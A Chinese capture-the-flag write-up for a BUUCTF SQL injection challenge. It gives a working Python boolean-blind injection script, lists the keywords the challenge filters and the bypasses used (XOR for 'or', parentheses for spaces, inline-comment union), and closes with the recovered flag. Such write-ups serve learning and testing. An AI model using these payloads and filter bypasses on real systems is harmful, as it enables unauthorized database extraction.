先贴脚本(本题采用布尔盲注方法)
import requests
import time
url = "http://41db567b-d04b-4b32-9001-3d5197d7cbab.node3.buuoj.cn/index.php" #这里url换掉
payload = {
"id" : ""
}
result = ""
for i in range(1,50):
l = 33
r =130
mid = (l+r)>>1
while(l<r):
payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)
html = requests.post(url,data=payload)
#print(payload) #这里可以输出payload,想看payload的可以看
if "Hello" in html.text:
l = mid+1
else:
r = mid
mid = (l+r)>>1
if(chr(mid)==" "):
break
result = result + chr(mid)
print(result)
print("flag: " ,result)
再讲原因:
首先,buu已经提示是注入了,先sqlmap跑一波。看到的同学就别跑了,没用,试过了。
图片.png学着大佬的操作,先fuzz一波。啥是fuzz呢,fuzz叫模糊测试,说人话就是瞎几把乱测。然后发现以下的关键词全部被过滤··· 图片.png
union
,or
,and
,||
,&&
,order
,limit
,*
,;
,%23
,#
,"
,还有空格都被过滤了。union
过滤,可以用/*!union*/
来过滤,本题虽然用不到,但是稍微记一下。or
过滤,可以用^
异或符号来绕过。空格过滤,可以用括号绕过。
接下来,看题目: 图片.png
好了,问题来了,题目的第一行是“你想要的在flag表的flag字段”???
真那么简单?
然后试试
select flag from flag
,嗯对没错,因为过滤空格,肯定不能用。那么调整一下:select(flag)from(flag)
图片.png
然后试试
0 or select flag from flag
,因为空格及or的过滤=>0^select(flag)from(flag)
还是bool(false)。
然后猜测因为限制显示的原因,取单个字符先转换位ascii码后再进行比较,也就是
0^(ascii(substr((select(flag)from(flag)),1,1))>1)
。之后,用脚本,跑一下就行了,flag:flag{509304c2-c61a-49c5-8db7-5757bbb8a011}
网友评论